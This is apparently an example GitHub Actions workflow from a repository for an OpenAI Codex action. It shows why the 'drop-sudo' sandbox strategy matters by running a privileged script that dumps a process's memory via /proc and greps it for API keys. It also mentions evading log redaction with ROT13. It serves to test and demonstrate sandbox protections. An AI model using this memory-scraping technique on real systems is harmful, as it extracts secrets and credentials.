openai/codex-action
Publicmirrored from https://github.com/openai/codex-actionAvailable
examples/test-sandbox-protections.yml
66lines · modecode
| 1 | # This example demonstrates the importance of using `drop-sudo` or `read-only` |
| 2 | # safety strategies to prevent exfiltration of sensitive data like API keys. |
| 3 | |
| 4 | name: Test sandbox protections |
| 5 | on: |
| 6 | workflow_dispatch: |
| 7 | |
| 8 | jobs: |
| 9 | assess-exfiltration-risk: |
| 10 | runs-on: ubuntu-latest |
| 11 | strategy: |
| 12 | fail-fast: false |
| 13 | matrix: |
| 14 | safety-strategy: |
| 15 | # `drop-sudo` is the default `safety-strategy`, which prevents the |
| 16 | # malicious behavior allowed by the other strategies in this example. |
| 17 | - drop-sudo |
| 18 | # `read-only` cannot write files or talk to the network, but as we |
| 19 | # will see, it still allows some dangerous operations. |
| 20 | - read-only |
| 21 | - unsafe |
| 22 | steps: |
| 23 | - name: Run Codex (${{ matrix.safety-strategy }}) |
| 24 | uses: openai/codex-action@v1 |
| 25 | with: |
| 26 | # An OpenAI API key often starts with `sk-proj-` and is followed |
| 27 | # by random characters matching [A-Za-z-0-9_-]. |
| 28 | openai-api-key: sk-proj-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ |
| 29 | safety-strategy: ${{ matrix.safety-strategy }} |
| 30 | |
| 31 | - name: Try to dump the key from the codex-responses-api-proxy process |
| 32 | env: |
| 33 | CODEX_RUN_ID: ${{ github.run_id }} |
| 34 | run: | |
| 35 | # Find the PID for the codex-responses-api-proxy process. |
| 36 | SERVER_INFO_FILE="$HOME/.codex/$CODEX_RUN_ID.json" |
| 37 | PID=$(jq .pid < "$SERVER_INFO_FILE") |
| 38 | |
| 39 | # Using standard filesystem read operations (albeit privileged ones), |
| 40 | # try to dump the memory of the process to disk to search for the key. |
| 41 | sudo bash -s -- "$PID" <<'SCAN_MEM' |
| 42 | pid="$1" |
| 43 | mem="/proc/$pid/mem" |
| 44 | i=0 |
| 45 | while read -r rng perms _; do |
| 46 | [[ $perms != r* ]] && continue |
| 47 | start=$((0x${rng%-*})) |
| 48 | end=$((0x${rng#*-})) |
| 49 | dd if="$mem" of="/tmp/$pid-$i.bin" bs=4096 iflag=skip_bytes,count_bytes \ |
| 50 | skip="$start" count="$((end - start))" status=none || true |
| 51 | i=$((i + 1)) |
| 52 | done < "/proc/$pid/maps" |
| 53 | SCAN_MEM |
| 54 | |
| 55 | # Use ordinary grep to search for the key pattern in the dumped memory files. |
| 56 | matches=$(grep -aPo '(?<![A-Za-z0-9_-])sk-proj-[A-Za-z0-9_-]+(?![A-Za-z0-9_-])' /tmp/${PID}-*.bin | sort -u) |
| 57 | if [ -n "$matches" ]; then |
| 58 | # Note that if `openai-api-key` was read from a GitHub secret, the |
| 59 | # secret scanning feature would redact it from logs, but this |
| 60 | # could easily be circumvented by using a toy cipher like ROT13: |
| 61 | # https://en.wikipedia.org/wiki/ROT13. |
| 62 | echo "Potential leaks found:" |
| 63 | printf '%s\n' "$matches" |
| 64 | else |
| 65 | echo "No leaks found" |
| 66 | fi |
| 67 | |